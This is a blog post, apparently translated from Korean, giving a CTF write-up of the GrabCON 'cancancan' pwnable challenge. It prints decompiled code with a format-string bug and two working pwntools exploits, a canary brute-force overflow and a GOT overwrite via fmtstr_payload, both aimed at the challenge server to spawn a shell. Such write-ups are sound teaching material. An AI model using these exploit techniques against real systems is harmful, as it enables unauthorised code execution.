2021-09-09 · 1분
GrabCON CTF — Easy Bin write-up
A GrabCON pwnable write-up: a trivial 64-bit BOF where the payload is dummy[48] + sfp[8] + vuln, solved out of 4 challenges (3 solved).
2021-09-09 · 2분
This post is over 2 years old. The content may be outdated.
GrabCON CTF
The next problem~! The problem file name was cancancan.
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
puts("can you bypass me???");
vuln();
return 0;
}
unsigned int vuln()
{
int i; // [esp+4h] [ebp-74h]
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v3; // [esp+6Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
for ( i = 0; i <= 1; ++i )
{
read(0, buf, 0x200u);
printf(buf);
}
return __readgsdword(0x14u) ^ v3;
}
int win()
{
return system("/bin/sh");
}

It seems like if you somehow execute the win function it'll work. Actually I struggled a bit on this problem — looking at the vuln function it takes input repeated exactly 2 times, and in the picture above a stack canary is set up just right, so I was sure it was a canary-leak problem and did some pointless things ㅠㅠ. Some people actually wrote code like below and tried. The code below solves the canary leak by brute force.
See more
from pwn import *
context.log_level = 'error'
ERROR = "*** stack smashing detected ***"
i = 1
while True:
s = remote("35.246.42.94", 31337)
offset = f"%{i}$x"
s.recvline()
# STAGE 1
payload1 = offset.encode()
s.sendline(payload1)
canary = s.recv()[2:-1]
canary = canary + b'0'*(8-len(canary))
canary = p32(int(canary, 16))
# STAGE 2
payload2 = b'A'*100
payload2 += canary
payload2 += b'B'*12
payload2 += p32(0x08049408) # RET
payload2 += p32(0x08049236) # WIN
s.sendline(payload2)
try:
result = s.recvline().decode()
print(f"offset {i} failed")
s.close()
i += 1
except:
s.interactive()
s.close()
break
But in the end, looking closely, the FSB is triggering at printf(buf);. So the problem gets solved very quickly.

offset = 6
By entering as above I found out the offset is 6. Now then, I'll change read's GOT to the win function.
The code is as below.
Source code
See more
from pwn import *
#context.log_level = 'debug'
p = remote('35.246.42.94',31337)
elf = ELF('./cancancan')
payload = fmtstr_payload(6, {elf.got['read']:elf.symbols['win']})
pause()
p.sendline(payload)
p.interactive()
From now on I won't obsess over canaries...ㅠ
Original (Korean): tistory — published 2021-09-09, migrated to this blog. This translation was generated with the help of AI.
…